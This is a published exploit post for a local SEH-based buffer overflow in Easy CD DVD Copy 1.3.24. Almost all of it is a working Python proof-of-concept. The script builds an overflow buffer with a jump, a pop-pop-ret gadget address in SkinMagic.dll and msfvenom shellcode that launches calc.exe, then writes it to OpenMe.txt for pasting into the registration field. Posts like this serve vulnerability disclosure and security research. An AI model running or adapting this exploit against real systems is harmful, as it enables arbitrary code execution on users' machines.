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Easy CD DVD Copy 1.3.24 Buffer Overflow

Easy CD DVD Copy 1.3.24 Buffer Overflow
Posted Mar 23, 2018
Authored by Hashim Jawad

Easy CD DVD Copy version 1.3.24 suffers from a local buffer overflow vulnerability.

tags | exploit, overflow, local
MD5 | 57e8495f394f487cb4a81135cdb9a495

Easy CD DVD Copy 1.3.24 Buffer Overflow

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#!/usr/bin/python
###############################################################################
# Exploit Title : Easy CD DVD Copy v1.3.24 - Local Buffer Overflow (SEH) #
# Exploit Author : Hashim Jawad #
# Twitter : @ihack4falafel #
# Author Website : ihack4falafel[.]com #
# Vendor Homepage : http://www.divxtodvd.net/index.htm #
# Vulnerable Software: http://www.divxtodvd.net/easy_cd_dvd_copy.exe #
# Tested on OS : Windows XP professional SP3 - (996 bytes offset) #
# Windows 7 Enterprise SP1 - (1008 bytes offset) #
# Windows 10 Professional 64bit - (988 bytes offset) #
# Steps to reproduce : #
# ~ Copy the content of OpenMe.txt #
# ~ Click on Register #
# ~ Paste content in "Enter User Name" field #
###############################################################################

import struct

#root@kali:~# msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode (220 bytes)

shellcode = ""
shellcode += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d"
shellcode += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5"
shellcode += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde"
shellcode += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb"
shellcode += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32"
shellcode += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84"
shellcode += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27"
shellcode += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3"
shellcode += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5"
shellcode += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8"
shellcode += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3"
shellcode += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78"
shellcode += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15"
shellcode += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a"
shellcode += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05"
shellcode += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b"
shellcode += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26"
shellcode += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82"
shellcode += "\x8e\x2a\x79\xdb"

buffer = "A" * 988 # Junk
buffer += "\xeb\x14\x90\x90" # + nSEH (Jump Code)
buffer += struct.pack('<L', 0x10037b11) # + SEH (pop ebx # pop eax # ret | [SkinMagic.dll])
buffer += "\x90" * 50 # + NOP
buffer += shellcode # + shellcode
buffer += "\x90" * 50 # + NOP

try:
f=open("OpenMe.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

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